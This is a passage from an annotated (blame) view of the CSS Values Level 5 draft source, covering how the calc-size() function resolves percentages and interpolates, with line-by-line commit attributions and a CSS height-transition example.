indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2575" id="l2575"> 2575</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2236" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2576" id="l2576"> 2576</a> </td> <td class="source"> (If the [=calc-size basis=] is <dfn for="calc-size()" value>any</dfn>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2237" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2577" id="l2577"> 2577</a> </td> <td class="source"> the ''calc-size()'' is a [=definite=] length, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2238" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2578" id="l2578"> 2578</a> </td> <td class="source"> equal to its [=calc-size calculation=].) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2239" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2579" id="l2579"> 2579</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2240" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2580" id="l2580"> 2580</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2241" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2581" id="l2581"> 2581</a> </td> <td class="source"> For example, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2242" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2582" id="l2582"> 2582</a> </td> <td class="source"> an element with ''height: calc-size(auto, round(up, size, 20px))'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2243" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2583" id="l2583"> 2583</a> </td> <td class="source"> will be treated identically to an element with ''height: auto'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2244" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2584" id="l2584"> 2584</a> </td> <td class="source"> but with its size rounded up to the nearest multiple of ''20px''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2245" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2585" id="l2585"> 2585</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2246" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2586" id="l2586"> 2586</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2247" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2587" id="l2587"> 2587</a> </td> <td class="source"> When evaluating the [=calc-size calculation=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2248" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2588" id="l2588"> 2588</a> </td> <td class="source"> if percentages are not definite in the given context, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2249" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2589" id="l2589"> 2589</a> </td> <td class="source"> they resolve to ''0px''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2250" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2590" id="l2590"> 2590</a> </td> <td class="source"> Otherwise, they resolve as normal. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2251" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2591" id="l2591"> 2591</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2252" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2592" id="l2592"> 2592</a> </td> <td class="source"> (A percentage in the [=calc-size basis=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2253" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2593" id="l2593"> 2593</a> </td> <td class="source"> is treated differently; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2254" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2594" id="l2594"> 2594</a> </td> <td class="source"> [[#simplifying-calc-size|simplification]] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2255" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2595" id="l2595"> 2595</a> </td> <td class="source"> moves the percentage into the [=calc-size calculation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2256" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2596" id="l2596"> 2596</a> </td> <td class="source"> and replaces it with ''size'' references. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2257" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2597" id="l2597"> 2597</a> </td> <td class="source"> The [=calc-size basis=] then becomes ''100%'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2258" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2598" id="l2598"> 2598</a> </td> <td class="source"> behaving as whatever ''100%'' would normally do in that context, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2259" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2599" id="l2599"> 2599</a> </td> <td class="source"> including possibly making a property [=behave as auto=], etc.) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2260" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2600" id="l2600"> 2600</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2261" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2601" id="l2601"> 2601</a> </td> <td class="source"> <div class=note> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2262" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2602" id="l2602"> 2602</a> </td> <td class="source"> Percentages in the basis work as normal </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2263" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2603" id="l2603"> 2603</a> </td> <td class="source"> so you can always smoothly transition to <em>any</em> size, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2264" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2604" id="l2604"> 2604</a> </td> <td class="source"> regardless of its value or behavior. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2265" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2605" id="l2605"> 2605</a> </td> <td class="source"> For example, without ''calc-size()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2266" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2606" id="l2606"> 2606</a> </td> <td class="source"> transitioning from ''100%'' to ''0px'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2267" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2607" id="l2607"> 2607</a> </td> <td class="source"> only works smoothly if the percentage is [=definite=]; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2268" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2608" id="l2608"> 2608</a> </td> <td class="source"> if it's not, then during the entire transition </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2269" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2609" id="l2609"> 2609</a> </td> <td class="source"> the property might [=behave as auto=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2270" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2610" id="l2610"> 2610</a> </td> <td class="source"> and not actually change size at all. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2271" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2611" id="l2611"> 2611</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2272" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2612" id="l2612"> 2612</a> </td> <td class="source"> Percentages in the calculation, on the other hand, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2273" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2613" id="l2613"> 2613</a> </td> <td class="source"> are resolved to 0 when indefinite </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2274" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2614" id="l2614"> 2614</a> </td> <td class="source"> to avoid making the ''calc-size()'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2275" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2615" id="l2615"> 2615</a> </td> <td class="source"> potentially act in two different ways; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2276" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2616" id="l2616"> 2616</a> </td> <td class="source"> there are some cases where a ''width/min-content'' size </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2277" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2617" id="l2617"> 2617</a> </td> <td class="source"> will cause different layout effects than a ''100%'' size, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2278" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2618" id="l2618"> 2618</a> </td> <td class="source"> and so a ''calc-size()'' has to masquerade as one or the other. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2279" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2619" id="l2619"> 2619</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1677" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2620" id="l2620"> 2620</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1678" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2621" id="l2621"> 2621</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1679" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2622" id="l2622"> 2622</a> </td> <td class="source"><h3 id=interp-calc-size> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1680" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2623" id="l2623"> 2623</a> </td> <td class="source">Interpolating ''calc-size()''</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1681" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2624" id="l2624"> 2624</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2285" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2625" id="l2625"> 2625</a> </td> <td class="source"> Two ''calc-size()'' functions can be interpolated if </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2286" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2626" id="l2626"> 2626</a> </td> <td class="source"> (after being [=canonicalized for interpolation=]): </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2287" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2627" id="l2627"> 2627</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2288" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2628" id="l2628"> 2628</a> </td> <td class="source"> <dl class=switch> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2289" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2629" id="l2629"> 2629</a> </td> <td class="source"> : Either function returned failure from being [=canonicalized for interpolation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2290" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2630" id="l2630"> 2630</a> </td> <td class="source"> :: The values cannot be interpolated. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2291" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2631" id="l2631"> 2631</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2292" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2632" id="l2632"> 2632</a> </td> <td class="source"> : Both [=calc-size basises=] are identical </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2293" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2633" id="l2633"> 2633</a> </td> <td class="source"> :: The result's [=calc-size basis=] is the that basis value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2294" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2634" id="l2634"> 2634</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2295" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2635" id="l2635"> 2635</a> </td> <td class="source"> : Either [=calc-size basis=] is ''calc-size()/any'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2296" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2636" id="l2636"> 2636</a> </td> <td class="source"> :: The result's [=calc-size basis=] is the non-''calc-size()/any'' basis. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2297" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2637" id="l2637"> 2637</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2298" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2638" id="l2638"> 2638</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2299" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2639" id="l2639"> 2639</a> </td> <td class="source"> The result's [=calc-size calculation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2300" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2640" id="l2640"> 2640</a> </td> <td class="source"> is the interpolation of the two input [=calc-size calculations=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2301" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2641" id="l2641"> 2641</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2302" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2642" id="l2642"> 2642</a> </td> <td class="source"> Note: These interpolation restrictions ensure that a ''calc-size()'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2303" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2643" id="l2643"> 2643</a> </td> <td class="source"> doesn't try to act in two different ways at once; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2304" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2644" id="l2644"> 2644</a> </td> <td class="source"> there are some cases where a ''width/min-content'' and ''width/max-content'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2305" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2645" id="l2645"> 2645</a> </td> <td class="source"> would produce different layout behaviors, for example, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2306" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2646" id="l2646"> 2646</a> </td> <td class="source"> so the ''calc-size()'' has to masquerade as one or the other. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2307" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2647" id="l2647"> 2647</a> </td> <td class="source"> This, unfortunately, means you can't transition between keywords, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2308" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2648" id="l2648"> 2648</a> </td> <td class="source"> like going from ''width/auto'' to ''width/min-content''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2309" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2649" id="l2649"> 2649</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2310" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2650" id="l2650"> 2650</a> </td> <td class="source"> Some ''calc-size()'' values can also be interpolated </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2311" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2651" id="l2651"> 2651</a> </td> <td class="source"> with a <<length-percentage>> or an <<intrinsic-size-keyword>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2312" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2652" id="l2652"> 2652</a> </td> <td class="source"> To determine whether the values can interpolate </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2313" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2653" id="l2653"> 2653</a> </td> <td class="source"> and what the interpolation behavior is, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2314" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2654" id="l2654"> 2654</a> </td> <td class="source"> treat the non-''calc-size()'' value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2315" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2655" id="l2655"> 2655</a> </td> <td class="source"> as ''calc-size(any, <var ignore>value</var> )'' if the value is a <<calc-sum>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2316" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2656" id="l2656"> 2656</a> </td> <td class="source"> or as ''calc-size( <var ignore>value</var> , size)'' otherwise, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2317" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2657" id="l2657"> 2657</a> </td> <td class="source"> and apply the rules above. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2318" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2658" id="l2658"> 2658</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2319" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2659" id="l2659"> 2659</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2320" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2660" id="l2660"> 2660</a> </td> <td class="source"> For example, ''calc-size()'' allows interpolation to/from ''height: auto'': </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2321" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2661" id="l2661"> 2661</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2322" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2662" id="l2662"> 2662</a> </td> <td class="source"> <pre class=lang-css> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2323" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2663" id="l2663"> 2663</a> </td> <td class="source"> details { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2324" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2664" id="l2664"> 2664</a> </td> <td class="source"> transition: height 1s; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2325" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2665" id="l2665"> 2665</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2326" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2666" id="l2666"> 2666</a> </td> <td class="source"> details::details-content { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2327" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2667" id="l2667"> 2667</a> </td> <td class="source"> display: block; </td> </tr> <tr class="parity1"> <td class="linenr"> 